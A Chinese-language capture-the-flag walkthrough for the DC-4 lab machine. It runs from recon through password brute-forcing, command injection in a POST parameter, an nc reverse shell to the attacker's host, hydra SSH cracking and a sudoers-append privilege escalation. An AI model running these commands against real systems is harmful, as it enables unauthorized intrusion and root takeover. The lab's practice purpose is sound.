DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip
本机IP:192.168.118.128
靶机IP:192.168.118.0/24
信息收集
扫描主机存活,扫描端口,扫描服务
第一步扫描出主机ip为192.168.118.141
nmap -sP 192.168.118.0/24
nmap -p- 192.168.118.141
nmap -sV -A 192.168.118.141
扫描出两个端口,22端口和80端口
使用dersearch扫描目录
dirsearch -u http://192.168.118.141
查看web服务,访问http://192.168.118.141
发现页面就只有一个登录页面,结合刚刚扫描出来的目录,也再没有价值
Getshell
尝试登录,使用bp抓包,发现也只提交了账号密码两个参数
密码爆破
猜测账号为admin,密码加载网上top1000弱口令密码尝试爆破
成功爆破出密码为 happy
使用得到的账号密码(admin :happy)登录web页面
登录成功,里面有一个命令执行小工具,提供三个命令可供选择
使用bp抓包查看一下
任意命令执行
发现提交的参数在这里被直接上传了,经过简单测试(修改提交的参数为id),可以看到,通过修改了POST传参radio的值达到了任意命令执行的效果
反弹shell
这里经过测试无法直接通过echo命令上传木马,也无法bash反弹,这里采用nc的方式反弹shell
在Kali主机上开启监听, 在靶机上面执行nc命令,将shell弹到Kali上
nc -lvvp 6666
nc -e /bin/bash 192.168.118.128 6666
最后成功反弹shell,但是并不是一个稳定shell
上传脚本得到使其升级为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
切换用户
查看一下主机的普通用户,经过一系列查找,最终找到一个旧密码文件夹
cat 进去查看,是一大堆密码,结合刚刚寻找的目录,猜测应该是本地账户 jim的密码
在kali主机上创建pass.txt,将得到的密码放进里面
使用hydra工具爆破ssh,来得到jim的密码
hydra -l jim -P pass.txt ssh://192.168.118.141
爆破成功,我们成功得到了jim的密码:jibril04
ssh连接
ssh jim@192.168.118.141
这里提示我们有一个mail
使用find命令查找文件mail
find / -name "mail" 2>/dev/null
尝试给出的路径,最终得到了封信
这个人给出了他的密码,很明显,他是在home目录下的,尝试ssh登录一下
ssh charles@192.168.118.141
提权
查询一下可以执行root命令的指令
使用teehee提权
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
sudo su -root
这个命令的目的是将一行配置添加到 /etc/sudoers
文件中,以允许用户 charles
在不输入密码的情况下执行所有命令,然后以 root 用户的身份启动一个新的登录 shell
提权成功
最后在root目录下成功找到flag